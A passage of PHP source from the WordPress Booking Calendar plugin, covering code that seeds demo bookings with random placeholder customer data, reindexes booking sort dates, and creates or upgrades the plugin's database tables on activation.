defined( 'WP_BK_BETA_DATA_FILL_AS' ) ) && ( 'BL' === WP_BK_BETA_DATA_FILL_AS ) ) && ( $_SERVER['HTTP_HOST'] === 'beta' ) ) { $start_time = '14:00'; $end_time = '12:00'; } else { $range_time = wpbc_get_initial_values_4_demo( 'rangetime' ); //FixIn: 10.0.0.51 $start_time = $range_time[0]; //FixIn: 10.0.0.51 $end_time = $range_time[1]; //FixIn: 10.0.0.51 } $form = ''; $form .= 'selectbox-one^rangetime'.$bk_type.'^'.$start_time.' - '.$end_time.'~'; $form .= 'text^name'.$bk_type.'^'.wpbc_get_initial_values_4_demo('name').'~'; $form .= 'text^secondname'.$bk_type.'^'.$second_name.'~'; $form .= 'text^email'.$bk_type.'^'.$second_name.'.example@wpbookingcalendar.com~'; $form .= 'text^address'.$bk_type.'^'.wpbc_get_initial_values_4_demo('adress').'~'; $form .= 'text^city'.$bk_type.'^'.$city[0].'~'; $form .= 'text^postcode'.$bk_type.'^'.wpbc_get_initial_values_4_demo('postcode').'~'; $form .= 'text^country'.$bk_type.'^'.$city[1].'~'; $form .= 'text^phone'.$bk_type.'^'.wpbc_get_initial_values_4_demo('phone').'~'; $form .= 'selectbox-one^visitors'.$bk_type.'^1~'; //$form .= 'checkbox^children'.$bk_type.'[]^0~'; $form .= 'textarea^details'.$bk_type.'^'.wpbc_get_initial_values_4_demo('info').'~'; $form .= 'coupon^coupon'.$bk_type.'^ '; $wp_bk_querie = "INSERT INTO {$wpdb->prefix}booking ( form, booking_type, cost, hash, modification_date ) VALUES ( '".$form."', ".$bk_type .", ".rand(0,1000).", MD5('". time() . '_' . rand(1000,1000000)."'), NOW() ) ;"; $wpdb->query( $wp_bk_querie ); $temp_id = $wpdb->insert_id; $wp_queries_sub = "INSERT INTO {$wpdb->prefix}bookingdates ( booking_id, booking_date, approved ) VALUES "; for ($d_num = 0; $d_num < $num_days; $d_num++) { $my_interval = ( $i*$evry_one + $d_num); if ( ( ( defined( 'WP_BK_BETA_DATA_FILL_AS' ) ) && ( 'BL' === WP_BK_BETA_DATA_FILL_AS ) ) && ( $_SERVER['HTTP_HOST'] === 'beta' ) ) { if ( 'On' !== get_bk_option( 'booking_range_selection_time_is_active' ) ) { $wp_queries_sub .= "( " . $temp_id . ", DATE_ADD(CURDATE(), INTERVAL -" . $days_start_shift . " day) + INTERVAL " . $my_interval . " day ," . $is_appr . " ),"; } else { if ( $d_num == 0 ) { // Check In $wp_queries_sub .= "( " . $temp_id . ", DATE_ADD(CURDATE(), INTERVAL -" . $days_start_shift . " day) + INTERVAL \"" . $my_interval . " " . $start_time . ":01\" DAY_SECOND ," . $is_appr . " ),"; } elseif ( $d_num == ( $num_days - 1 ) ) { // Check Out $wp_queries_sub .= "( " . $temp_id . ", DATE_ADD(CURDATE(), INTERVAL -" . $days_start_shift . " day) + INTERVAL \"" . $my_interval . " " . $end_time . ":02\" DAY_SECOND ," . $is_appr . " ),"; } else { $wp_queries_sub .= "( " . $temp_id . ", DATE_ADD(CURDATE(), INTERVAL -" . $days_start_shift . " day) + INTERVAL " . $my_interval . " day ," . $is_appr . " ),"; } } } else { $wp_queries_sub .= "( " . $temp_id . ", DATE_ADD(CURDATE(), INTERVAL -" . $days_start_shift . " DAY) + INTERVAL \"" . $my_interval . " " . $start_time . ":01\" DAY_SECOND ," . $is_appr . " ),"; //FixIn: 10.0.0.51 $wp_queries_sub .= "( " . $temp_id . ", DATE_ADD(CURDATE(), INTERVAL -" . $days_start_shift . " DAY) + INTERVAL \"" . $my_interval . " " . $end_time . ":02\" DAY_SECOND ," . $is_appr . " ),"; //FixIn: 10.0.0.51 } } $wp_queries_sub = substr($wp_queries_sub,0,-1) . ";"; $wpdb->query( $wp_queries_sub ) ; } } } else if ( $version == 'free' ) { if (empty($my_bk_types)) $my_bk_types=array(1,1); else shuffle($my_bk_types); for ($i = 0; $i < count($my_bk_types); $i++) { $bk_type = 1;//rand(1,4); $is_appr = rand(0,1); $evry_one = 2;//rand(1,7); if ( ( 'beta' === $_SERVER['HTTP_HOST'] ) || ( 'freetest.wpbookingcalendar.com' === $_SERVER['HTTP_HOST'] ) ) { $evry_one = rand(1,21);//2;//rand(1,7); $num_days = rand(1,10);//2;//rand(1,7); $days_start_shift = rand(-28,0); } $second_name = wpbc_get_initial_values_4_demo('second_name'); $form = ''; $form .= 'text^name'.$bk_type.'^'.wpbc_get_initial_values_4_demo('name').'~'; $form .= 'text^secondname'.$bk_type.'^'.$second_name.'~'; $form .= 'text^email'.$bk_type.'^'.$second_name.'.example@wpbookingcalendar.com~'; $form .= 'text^phone'.$bk_type.'^'.wpbc_get_initial_values_4_demo('phone').'~'; $form .= 'textarea^details'.$bk_type.'^'.wpbc_get_initial_values_4_demo('info'); $wp_bk_querie = "INSERT INTO {$wpdb->prefix}booking ( form, modification_date ) VALUES ( '".$form."', NOW() ) ;"; $wpdb->query( $wp_bk_querie ); $temp_id = $wpdb->insert_id; $wp_queries_sub = "INSERT INTO {$wpdb->prefix}bookingdates ( booking_id, booking_date, approved ) VALUES "; if ( ( 'beta' === $_SERVER['HTTP_HOST'] ) || ( 'freetest.wpbookingcalendar.com' === $_SERVER['HTTP_HOST'] ) ) { for ($d_num = 0; $d_num < $num_days; $d_num++) { $wp_queries_sub .= "( ". $temp_id .", CURDATE()+ INTERVAL ".($days_start_shift + 2*($i+1)*$evry_one + $d_num)." day ,". $is_appr." ),"; } $wp_queries_sub = substr($wp_queries_sub,0,-1) . ";"; } else { $wp_queries_sub .= "( ". $temp_id .", CURDATE()+ INTERVAL ".(2*($i+1)*$evry_one+2)." day ,". $is_appr." ), ( ". $temp_id .", CURDATE()+ INTERVAL ".(2*($i+1)*$evry_one+3)." day ,". $is_appr." ), ( ". $temp_id .", CURDATE()+ INTERVAL ".(2*($i+1)*$evry_one+4)." day ,". $is_appr." );"; } $wpdb->query( $wp_queries_sub ); } } else if ( $version == 'personal' ) { $max_num_bookings = 8; // How many bookings exist for ($i = 0; $i < $max_num_bookings; $i++) { $bk_type = rand(1,4); // Booking Resource $min_days = 1; $max_days = 7; $is_appr = rand(0,1); // Pending | Approved $evry_one = $max_days; // Multiplier of interval between 2 dates of different bookings $num_days = rand($min_days,$max_days); // Max Number of Dates for specific booking $days_start_shift = -1 * (ceil($max_num_bookings/2)) * $max_days; // How long far ago we are start bookings $second_name = wpbc_get_initial_values_4_demo('second_name'); $form = ''; $form .= 'text^name'.$bk_type.'^'.wpbc_get_initial_values_4_demo('name').'~'; $form .= 'text^secondname'.$bk_type.'^'.$second_name.'~'; $form .= 'text^email'.$bk_type.'^'.$second_name.'.example@wpbookingcalendar.com~'; $form .= 'text^phone'.$bk_type.'^'.wpbc_get_initial_values_4_demo('phone').'~'; $form .= 'selectbox-one^visitors'.$bk_type.'^'.rand(1,4).'~'; $form .= 'selectbox-one^children'.$bk_type.'^'.rand(0,3).'~'; $form .= 'textarea^details'.$bk_type.'^'.wpbc_get_initial_values_4_demo('info'); $wp_bk_querie = "INSERT INTO {$wpdb->prefix}booking ( form, booking_type, hash, modification_date ) VALUES ( '".$form."', ".$bk_type .", MD5('". time() . '_' . rand(1000,1000000)."'), NOW() ) ;"; $wpdb->query( $wp_bk_querie ); $temp_id = $wpdb->insert_id; $wp_queries_sub = "INSERT INTO {$wpdb->prefix}bookingdates ( booking_id, booking_date, approved ) VALUES "; for ($d_num = 0; $d_num < $num_days; $d_num++) { $wp_queries_sub .= "( ". $temp_id .", CURDATE()+ INTERVAL ".($days_start_shift + $i*$evry_one + $d_num)." day ,". $is_appr." ),"; } $wp_queries_sub = substr($wp_queries_sub,0,-1) . ";"; $wpdb->query( $wp_queries_sub ); } } else if ( $version == 'biz_s' ) { $max_num_bookings = 8; // How many bookings exist for ($i = 0; $i < $max_num_bookings; $i++) { $bk_type = rand(1,4); // Booking Resource $min_days = 1; $max_days = 1; $is_appr = rand(0,1); // Pending | Approved $evry_one = $max_days; // Multiplier of interval between 2 dates of different bookings $num_days = rand($min_days,$max_days); // Max Number of Dates for specific booking $days_start_shift = (ceil($max_num_bookings/4)) * $max_days; // How long far ago we are start bookings $second_name = wpbc_get_initial_values_4_demo('second_name'); $city = wpbc_get_initial_values_4_demo('city'); $range_time = wpbc_get_initial_values_4_demo('rangetime'); $start_time = $range_time[0]; $end_time = $range_time[1]; $form = ''; $form .= 'selectbox-one^rangetime'.$bk_type.'^'.$start_time.' - '.$end_time.'~'; $form .= 'text^name'.$bk_type.'^'.wpbc_get_initial_values_4_demo('name').'~'; $form .= 'text^secondname'.$bk_type.'^'.$second_name.'~'; $form .= 'text^email'.$bk_type.'^'.$second_name.'.example@wpbookingcalendar.com~'; $form .= 'text^address'.$bk_type.'^'.wpbc_get_initial_values_4_demo('adress').'~'; $form .= 'text^city'.$bk_type.'^'.$city[0].'~'; $form .= 'text^postcode'.$bk_type.'^'.wpbc_get_initial_values_4_demo('postcode').'~'; $form .= 'text^country'.$bk_type.'^'.$city[1].'~'; $form .= 'text^phone'.$bk_type.'^'.wpbc_get_initial_values_4_demo('phone').'~'; $form .= 'selectbox-one^visitors'.$bk_type.'^'.rand(1,4).'~'; $form .= 'checkbox^children'.$bk_type.'[]^'.rand(0,3).'~'; $form .= 'textarea^details'.$bk_type.'^'.wpbc_get_initial_values_4_demo('info'); $wp_bk_querie = "INSERT INTO {$wpdb->prefix}booking ( form, booking_type, cost, hash, modification_date ) VALUES ( '".$form."', ".$bk_type .", ".rand(0,1000).", MD5('". time() . '_' . rand(1000,1000000)."'), NOW() ) ;"; $wpdb->query( $wp_bk_querie ); $temp_id = $wpdb->insert_id; $wp_queries_sub = "INSERT INTO {$wpdb->prefix}bookingdates ( booking_id, booking_date, approved ) VALUES "; for ($d_num = 0; $d_num < $num_days; $d_num++) { $my_interval = ( $i*$evry_one + $d_num); // $wp_queries_sub .= "( ". $temp_id .", CURDATE()+ INTERVAL \"".($days_start_shift + $i*$evry_one + $d_num)." ".$start_time.":01\" DAY_SECOND ,". $is_appr." ),"; // $wp_queries_sub .= "( ". $temp_id .", CURDATE()+ INTERVAL \"".($days_start_shift + $i*$evry_one + $d_num)." ".$end_time .":02\" DAY_SECOND ,". $is_appr." ),"; $wp_queries_sub .= "( ". $temp_id .", DATE_ADD(CURDATE(), INTERVAL -".$days_start_shift." DAY) + INTERVAL \"".$my_interval." ".$start_time.":01\" DAY_SECOND ,". $is_appr." ),"; $wp_queries_sub .= "( ". $temp_id .", DATE_ADD(CURDATE(), INTERVAL -".$days_start_shift." DAY) + INTERVAL \"".$my_interval." ".$end_time.":02\" DAY_SECOND ,". $is_appr." ),"; } $wp_queries_sub = substr($wp_queries_sub,0,-1) . ";"; $wpdb->query( $wp_queries_sub ); } } else if ( $version == 'biz_m' ) { $max_num_bookings = 8; // How many bookings exist for ($i = 0; $i < $max_num_bookings; $i++) { $bk_type = rand(1,4); // Booking Resource $min_days = 3; $max_days = 7; $is_appr = rand(0,1); // Pending | Approved $evry_one = $max_days; // Multiplier of interval between 2 dates of different bookings $num_days = rand($min_days,$max_days); // Max Number of Dates for specific booking $days_start_shift = (ceil($max_num_bookings/2)) * $max_days; // How long far ago we are start bookings $second_name = wpbc_get_initial_values_4_demo('second_name'); $city = wpbc_get_initial_values_4_demo('city'); $start_time = '14:00'; $end_time = '12:00'; $form = ''; $form .= 'text^name'.$bk_type.'^'.wpbc_get_initial_values_4_demo('name').'~'; $form .= 'text^secondname'.$bk_type.'^'.$second_name.'~'; $form .= 'text^email'.$bk_type.'^'.$second_name.'.example@wpbookingcalendar.com~'; $form .= 'text^address'.$bk_type.'^'.wpbc_get_initial_values_4_demo('adress').'~'; $form .= 'text^city'.$bk_type.'^'.$city[0].'~'; $form .= 'text^postcode'.$bk_type.'^'.wpbc_get_initial_values_4_demo('postcode').'~'; $form .= 'text^country'.$bk_type.'^'.$city[1].'~'; $form .= 'text^phone'.$bk_type.'^'.wpbc_get_initial_values_4_demo('phone').'~'; $form .= 'selectbox-one^visitors'.$bk_type.'^'.rand(1,4).'~'; $form .= 'checkbox^children'.$bk_type.'[]^'.rand(0,3).'~'; $form .= 'textarea^details'.$bk_type.'^'.wpbc_get_initial_values_4_demo('info').'~'; $form .= 'text^starttime'.$bk_type.'^'.$start_time.'~'; $form .= 'text^endtime'.$bk_type.'^'.$end_time; $wp_bk_querie = "INSERT INTO {$wpdb->prefix}booking ( form, booking_type, cost, hash, modification_date ) VALUES ( '".$form."', ".$bk_type .", ".rand(0,1000).", MD5('". time() . '_' . rand(1000,1000000)."'), NOW() ) ;"; $wpdb->query( $wp_bk_querie ); $temp_id = $wpdb->insert_id; $wp_queries_sub = "INSERT INTO {$wpdb->prefix}bookingdates ( booking_id, booking_date, approved ) VALUES "; for ($d_num = 0; $d_num < $num_days; $d_num++) { $my_interval = ( $i*$evry_one + $d_num); if ($d_num == 0) { // Check In $wp_queries_sub .= "( ". $temp_id .", DATE_ADD(CURDATE(), INTERVAL -".$days_start_shift." day) + INTERVAL \"".$my_interval." ".$start_time.":01\" DAY_SECOND ,". $is_appr." ),"; } elseif ($d_num == ($num_days-1) ) { // Check Out $wp_queries_sub .= "( ". $temp_id .", DATE_ADD(CURDATE(), INTERVAL -".$days_start_shift." day) + INTERVAL \"".$my_interval." ".$end_time.":02\" DAY_SECOND ,". $is_appr." ),"; } else { $wp_queries_sub .= "( ". $temp_id .", DATE_ADD(CURDATE(), INTERVAL -".$days_start_shift." day) + INTERVAL ".$my_interval." day ,". $is_appr." ),"; } } $wp_queries_sub = substr($wp_queries_sub,0,-1) . ";"; $wpdb->query( $wp_queries_sub ); } } else if ( $version == 'biz_l' ) { $max_num_bookings = 12; // How many bookings exist for ($res_groups = 0; $res_groups < 2; $res_groups++) for ($i = 0; $i < $max_num_bookings; $i++) { if($res_groups) $bk_type = rand(1,6); // Booking Resource else $bk_type = rand(7,12); // Booking Resource $min_days = 2; $max_days = 7; $is_appr = rand(0,1); // Pending | Approved $evry_one = $max_days; // Multiplier of interval between 2 dates of different bookings $num_days = rand($min_days,$max_days); // Max Number of Dates for specific booking $days_start_shift = (ceil($max_num_bookings/2)) * $max_days; // How long far ago we are start bookings $second_name = wpbc_get_initial_values_4_demo('second_name'); $city = wpbc_get_initial_values_4_demo('city'); $start_time = '14:00'; $end_time = '12:00'; $form = ''; $form .= 'text^name'.$bk_type.'^'.wpbc_get_initial_values_4_demo('name').'~'; $form .= 'text^secondname'.$bk_type.'^'.$second_name.'~'; $form .= 'text^email'.$bk_type.'^'.$second_name.'.example@wpbookingcalendar.com~'; $form .= 'text^address'.$bk_type.'^'.wpbc_get_initial_values_4_demo('adress').'~'; $form .= 'text^city'.$bk_type.'^'.$city[0].'~'; $form .= 'text^postcode'.$bk_type.'^'.wpbc_get_initial_values_4_demo('postcode').'~'; $form .= 'text^country'.$bk_type.'^'.$city[1].'~'; $form .= 'text^phone'.$bk_type.'^'.wpbc_get_initial_values_4_demo('phone').'~'; $form .= 'selectbox-one^visitors'.$bk_type.'^1~'; //$form .= 'checkbox^children'.$bk_type.'[]^0~'; $form .= 'textarea^details'.$bk_type.'^'.wpbc_get_initial_values_4_demo('info').'~'; $form .= 'coupon^coupon'.$bk_type.'^ '; $wp_bk_querie = "INSERT INTO {$wpdb->prefix}booking ( form, booking_type, cost, hash, modification_date ) VALUES ( '".$form."', ".$bk_type .", ".rand(0,1000).", MD5('". time() . '_' . rand(1000,1000000)."'), NOW() ) ;"; $wpdb->query( $wp_bk_querie ); $temp_id = $wpdb->insert_id; $wp_queries_sub = "INSERT INTO {$wpdb->prefix}bookingdates ( booking_id, booking_date, approved ) VALUES "; for ($d_num = 0; $d_num < $num_days; $d_num++) { $my_interval = ( $i*$evry_one + $d_num); $wp_queries_sub .= "( ". $temp_id .", DATE_ADD(CURDATE(), INTERVAL -".$days_start_shift." day) + INTERVAL ".$my_interval." day ,". $is_appr." ),"; } $wp_queries_sub = substr($wp_queries_sub,0,-1) . ";"; $wpdb->query( $wp_queries_sub ); } } } function wpbc_get_initial_values_4_demo( $type ) { $names = array('Jacob', 'Michael', 'Daniel', 'Anthony', 'William', 'Emma', 'Sophia', 'Kamila', 'Isabella', 'Jack', 'Daniel', 'Matthew', 'Olivia', 'Emily', 'Grace', 'Jessica', 'Joshua', 'Harry', 'Thomas', 'Oliver', 'Jack' ); $second_names = array( 'Smith', 'Johnson', 'Widams', 'Brown', 'Jones', 'Miller', 'Davis', 'Garcia', 'Rodriguez', 'Wilyson', 'Gonzalez', 'Gomez', 'Taylor', 'Bron', 'Wilson', 'Davies', 'Robinson', 'Evans', 'Walker', 'Jackson', 'Clarke' ); $city = array( 'New York', 'Los Angeles', 'Chicago', 'Houston', 'Phoenix', 'San Antonio', 'San Diego', 'San Jose', 'Detroit', 'San Francisco', 'Jacksonville', 'Austin', 'London', 'Birmingham', 'Leeds', 'Glasgow', 'Sheffield', 'Bradford', 'Edinburgh', 'Liverpool', 'Manchester' ); $adress = array('30 Mortensen Avenue', '144 Hitchcock Rd', '222 Lincoln Ave', '200 Lincoln Ave', '65 West Alisal St', '426 Work St', '65 West Alisal Street', '159 Main St', '305 Jonoton Avenue', '423 Caiptown Rd', '34 Linoro Ave', '50 Voro Ave', '15 East St', '226 Middle St', '35 West Town Street', '59 Other St', '50 Merci Ave', '15 Dolof St', '226 Gordon St', '35 Sero Street', '59 Exit St' ); $country = array( 'US' ,'US' ,'US' ,'US' ,'US' ,'US' ,'US' ,'US' ,'US' ,'US' ,'US' ,'US' ,'UK','UK','UK','UK','UK','UK','UK','UK','UK' ); $range_times = array( array("10:00","12:00"), array("12:00","14:00"), array("14:00","16:00"), array("16:00","18:00"), array("18:00","20:00") ); switch ($type) { case 'rangetime': return $range_times[ rand(0 , (count($range_times)-1) ) ] ; break; case 'name': return $names[ rand(0 , (count($names)-1) ) ] ; break; case 'second_name': return $second_names[ rand(0 , (count($second_names)-1) ) ] ; break; case 'adress': return $adress[ rand(0 , (count($adress)-1) ) ] ; break; case 'city': $city_num = rand(0 , (count($city)-1) ) ; return array( $city[$city_num], $country[$city_num]) ; break; case 'postcode': return (rand(0,9).rand(0,9).rand(0,9).rand(0,9).rand(0,9)); break; case 'phone': return (rand(0,9).rand(0,9).rand(0,9).'-'.rand(0,9).rand(0,9).'-'.rand(0,9).rand(0,9)) ; break; case 'starttime': return ('0'.rand(0,9) . ':' .rand(1,3).'0' ); break; case 'endtime': return (rand(12,23) . ':' .rand(1,3).'0' ); break; case 'visitors': return rand(1,4); break; default: return ''; break; } } function wpbc_set_default_initial_values( $evry_one = 1 ) { global $wpdb; $names = array( 'Jacob', 'Michael', 'Daniel', 'Anthony', 'William', 'Emma', 'Sophia', 'Kamila', 'Isabella', 'Jack', 'Daniel', 'Matthew', 'Olivia', 'Emily', 'Grace', 'Jessica', 'Joshua', 'Harry', 'Thomas', 'Oliver', 'Jack' ); $second_names = array( 'Smith', 'Johnson', 'Widams', 'Brown', 'Jones', 'Miller', 'Davis', 'Garcia', 'Rodriguez', 'Wilyson', 'Gonzalez', 'Gomez', 'Taylor', 'Bron', 'Wilson', 'Davies', 'Robinson', 'Evans', 'Walker', 'Jackson', 'Clarke' ); $city = array( 'New York', 'Los Angeles', 'Chicago', 'Houston', 'Phoenix', 'San Antonio', 'San Diego', 'San Jose', 'Detroit', 'San Francisco', 'Jacksonville', 'Austin', 'London', 'Birmingham', 'Leeds', 'Glasgow', 'Sheffield', 'Bradford', 'Edinburgh', 'Liverpool', 'Manchester' ); $adress = array( '30 Mortensen Avenue', '144 Hitchcock Rd', '222 Lincoln Ave', '200 Lincoln Ave', '65 West Alisal St', '426 Work St', '65 West Alisal Street', '159 Main St', '305 Jonoton Avenue', '423 Caiptown Rd', '34 Linoro Ave', '50 Voro Ave', '15 East St', '226 Middle St', '35 West Town Street', '59 Other St', '50 Merci Ave', '15 Dolof St', '226 Gordon St', '35 Sero Street', '59 Exit St' ); $country = array( 'US' ,'US' ,'US' ,'US' ,'US' ,'US' ,'US' ,'US' ,'US' ,'US' ,'US' ,'US' ,'UK','UK','UK','UK','UK','UK','UK','UK','UK' ); $info = array( ' ' ,' ' ,' ' ,' ' ,' ' ,' ' ,' ' ,' ' ,' ' ,' ' ,' ' ,' ' ,' ',' ',' ',' ',' ',' ',' ',' ',' ' ); for ($i = 0; $i < count($names); $i++) { if ( ($i % $evry_one) !==0 ) { continue; } $bk_type = rand(1,4); $is_appr = rand(0,1); $start_time = '0'.rand(0,9) . ':' .rand(1,3).'0' ; $end_time = rand(12,23) . ':' .rand(1,3).'0' ; $form = 'text^starttime'.$bk_type.'^'.$start_time.'~'; $form .='text^endtime'.$bk_type.'^'.$end_time.'~'; $form .='text^name'.$bk_type.'^'.$names[$i].'~'; $form .='text^secondname'.$bk_type.'^'.$second_names[$i].'~'; $form .='text^email'.$bk_type.'^'.$second_names[$i].'.example@wpbookingcalendar.com~'; $form .='text^address'.$bk_type.'^'.$adress[$i].'~'; $form .='text^city'.$bk_type.'^'.$city[$i].'~'; $form .='text^postcode'.$bk_type.'^'.rand(0,9).rand(0,9).rand(0,9).rand(0,9).rand(0,9).'~'; $form .='text^country'.$bk_type.'^'.$country[$i].'~'; $form .='text^phone'.$bk_type.'^'.rand(0,9).rand(0,9).rand(0,9).'-'.rand(0,9).rand(0,9).'-'.rand(0,9).rand(0,9).'~'; $form .='selectbox-one^visitors'.$bk_type.'^'.rand(0,9).'~'; $form .='checkbox^children'.$bk_type.'[]^false~'; $form .='textarea^details'.$bk_type.'^'.$info[$i]; $wp_bk_querie = "INSERT INTO {$wpdb->prefix}booking ( form, booking_type, cost, hash ) VALUES ( '".$form."', ".$bk_type .", ".rand(0,1000).", MD5('". time() . '_' . rand(1000,1000000)."') ) ;"; $wpdb->query( $wp_bk_querie ); $temp_id = $wpdb->insert_id; $wp_queries_sub = "INSERT INTO {$wpdb->prefix}bookingdates ( booking_id, booking_date, approved ) VALUES ( ". $temp_id .", CURDATE()+ INTERVAL \"".(2*($i+1)*$evry_one+2)." ".$start_time.":01"."\" DAY_SECOND ,". $is_appr." ), ( ". $temp_id .", CURDATE()+ INTERVAL ".(2*($i+1)*$evry_one+3)." day ,". $is_appr." ), ( ". $temp_id .", CURDATE()+ INTERVAL \"".(2*($i+1)*$evry_one+4)." ".$end_time.":02"."\" DAY_SECOND ,". $is_appr." );"; $wpdb->query( $wp_queries_sub ); } } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" Support & Maintence " > /** Reindex DataBase to have "date key field" for be able to sort by dates. */ function wpbc_reindex_booking_db(){ global $wpdb; $is_show_messages = false; // if ( ( wpbc_is_settings_page('QUERY_STRING') ) && ( strpos($_SERVER[ 'QUERY_STRING' ],'reindex_sort_data=1') !== false ) ) // $is_show_messages = true; if ($is_show_messages) { // Hide all settings ?> <style type="text/css" rel="stylesheet" > #post_option .meta-box { display:none; } #post_option .button-primary { display:none; } #post_option .technical-booking-section { display:block; } </style> <?php } if (wpbc_is_field_in_table_exists('booking','sort_date') == 0) { $simple_sql = "ALTER TABLE {$wpdb->prefix}booking ADD sort_date datetime AFTER booking_id"; $wpdb->query( $simple_sql ); } // Refill the sort date index. if (wpbc_is_field_in_table_exists('booking','sort_date') != 0) { $bookings_res = array(); if ( ! wpbc_is_this_wp_playground_db() ) { //FixIn: 10.0.0.1 //1. Select all bookings ID, where sort_date is NULL in wp_booking $sql = " SELECT booking_id as id"; $sql .= " FROM {$wpdb->prefix}booking as bk"; $sql .= " WHERE sort_date IS NULL"; $bookings_res = $wpdb->get_results( $sql ); } if ($is_show_messages) printf(__('%s Found %s not indexed bookings %s' ,'booking'),' ',count($bookings_res), '<br/>'); if (count($bookings_res) > 0 ) { $id_string = ''; foreach ($bookings_res as $value) { $id_string .= $value->id . ','; } $id_string = substr($id_string,0,-1); //2. Select all (FIRST ??) booking_date, where booking_id = booking_id from #1 in wp_bookingdates $sql = " SELECT booking_id as id, booking_date as date" ; $sql .= " FROM {$wpdb->prefix}bookingdates as bdt" ; $sql .= " WHERE booking_id IN ( ". $id_string ." ) GROUP BY bdt.booking_id ORDER BY bdt.booking_date " ; $sort_date_array = $wpdb->get_results( $sql ); if ($is_show_messages) printf(__('%s Finish getting sort dates. %s' ,'booking'),' ','<br/>'); //3. Insert that firtst date into the bookings in wp_booking $ii=0; foreach ($sort_date_array as $value) { $ii++; $sql = "UPDATE {$wpdb->prefix}booking as bdt "; $sql .= " SET sort_date = '".$value->date. "' WHERE booking_id = ". $value->id . " "; $wpdb->query( $sql ); if ($is_show_messages) printf(__('Updated booking: %s' ,'booking'),$value->id . ' ['.$ii.' / '.count($bookings_res).'] <br/>'); } } } } // </editor-fold> //////////////////////////////////////////////////////////////////////////////// // A c t i v a t e & D e a c t i v a t e //////////////////////////////////////////////////////////////////////////////// /** Activation */ function wpbc_booking_activate() { make_bk_action( 'wpbc_before_activation' ); wpbc_load_translation(); $version = wpbc_get_plugin_version_type(); $is_demo = wpbc_is_this_demo(); //////////////////////////////////////////////////////////////////////////// // Options //////////////////////////////////////////////////////////////////////////// $default_options_to_add = wpbc_get_default_options(); make_bk_action( 'wpbc_before_activation__add_options', $default_options_to_add ); //FixIn: 9.6.2.11 foreach ( $default_options_to_add as $default_option_name => $default_option_value ) { add_bk_option( $default_option_name, $default_option_value ); } //////////////////////////////////////////////////////////////////////////// // DB Tables //////////////////////////////////////////////////////////////////////////// if ( true ){ global $wpdb; $charset_collate = ''; //if ( $wpdb->has_cap( 'collation' ) ) { if ( ! empty($wpdb->charset) ) $charset_collate = "DEFAULT CHARACTER SET $wpdb->charset"; if ( ! empty($wpdb->collate) ) $charset_collate .= " COLLATE $wpdb->collate"; //} $wp_queries = array(); if ( ! wpbc_is_table_exists('booking') ) { // Check if tables not exist yet //FixIn: 10.0.0.1 $simple_sql = "CREATE TABLE {$wpdb->prefix}booking ( booking_id bigint(20) unsigned NOT NULL auto_increment, " . /* " booking_options TEXT, trash bigint(10) NOT NULL default 0, is_new bigint(10) NOT NULL default 1, sort_date datetime, modification_date datetime, creation_date TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, status varchar(200) NOT NULL default '', sync_gid varchar(200) NOT NULL default '', is_trash datetime, hash TEXT, " . /**/ " form text , booking_type bigint(10) NOT NULL default 1, PRIMARY KEY (booking_id) ) {$charset_collate};"; $wpdb->query( $simple_sql ); } elseif (wpbc_is_field_in_table_exists('booking','form') == 0) { $wp_queries[] = "ALTER TABLE {$wpdb->prefix}booking ADD form TEXT AFTER booking_id"; } if (wpbc_is_field_in_table_exists('booking','modification_date') == 0) { $wp_queries[] = "ALTER TABLE {$wpdb->prefix}booking ADD modification_date datetime AFTER booking_id"; } //FixIn: 9.2.3.3 if ( wpbc_is_field_in_table_exists( 'booking', 'creation_date' ) == 0 ) { $wp_queries[] = "ALTER TABLE {$wpdb->prefix}booking ADD creation_date TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP AFTER modification_date"; /** * // Can be only one 'TIMESTAMP' field at some servers. // ADD re_create_date TIMESTAMP NOT NULL DEFAULT 0 AFTER rules_id //$wp_queries[] = "ALTER TABLE {$wpdb->prefix}booking ADD creation_date TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP AFTER booking_id"; */ } if (wpbc_is_field_in_table_exists('booking','sort_date') == 0) { $wp_queries[] = "ALTER TABLE {$wpdb->prefix}booking ADD sort_date datetime AFTER booking_id"; } if (wpbc_is_field_in_table_exists('booking','status') == 0) { $wp_queries[] = "ALTER TABLE {$wpdb->prefix}booking ADD status varchar(200) NOT NULL default '' AFTER booking_id"; } if (wpbc_is_field_in_table_exists('booking','is_new') == 0) { $wp_queries[] = "ALTER TABLE {$wpdb->prefix}booking ADD is_new bigint(10) NOT NULL default 1 AFTER booking_id"; } // Version: 5.2 - Google ID of the booking for Sync functionality if (wpbc_is_field_in_table_exists('booking','sync_gid') == 0) { $wp_queries[] = "ALTER TABLE {$wpdb->prefix}booking ADD sync_gid varchar(200) NOT NULL default '' AFTER booking_id"; } //FixIn: 9.2.3.5 if (wpbc_is_field_in_table_exists('booking','is_trash') == 0) { $wp_queries[] = "ALTER TABLE {$wpdb->prefix}booking ADD is_trash datetime AFTER booking_id"; } //FixIn: 6.1.1.10 if (wpbc_is_field_in_table_exists('booking','trash') == 0) { $wp_queries[] = "ALTER TABLE {$wpdb->prefix}booking ADD trash bigint(10) NOT NULL default 0 AFTER booking_id"; } //FixIn: 9.1.2.12 if ( wpbc_is_field_in_table_exists( 'booking', 'booking_options' ) == 0 ) { $wp_queries[] = "ALTER TABLE {$wpdb->prefix}booking ADD booking_options TEXT AFTER booking_id"; } //FixIn: 8.7.9.1 if ( ! wpbc_is_table_exists('bookingdates') ) { // Check if tables not exist yet $simple_sql = "CREATE TABLE {$wpdb->prefix}bookingdates ( booking_dates_id bigint(20) unsigned NOT NULL auto_increment, booking_id bigint(20) unsigned NOT NULL, booking_date datetime NOT NULL default '0000-00-00 00:00:00', approved bigint(20) unsigned NOT NULL default 0, PRIMARY KEY (booking_dates_id) ) {$charset_collate}"; $wpdb->query( $simple_sql ); if( ! class_exists( 'wpdev_bk_personal' ) ) { $wp_queries[] = "INSERT INTO {$wpdb->prefix}booking ( form, modification_date ) VALUES ( 'text^name1^Jony~text^secondname1^Smith~text^email1^example-free@wpbookingcalendar.com~text^phone1^458-77-77~textarea^details1^Reserve a room with sea view', NOW() );"; } } // If we remove this index, so then its can significant impact to the speed of page loading at the Booking Listing and Timelines. /** ( [0] => SELECT * FROM wp_booking as bk WHERE EXISTS ( SELECT * FROM wp_bookingdates as dt WHERE bk.booking_id = dt.booking_id AND ( dt.booking_date >= '2016-11-01 00:00:00' ) AND ( dt.booking_date <= 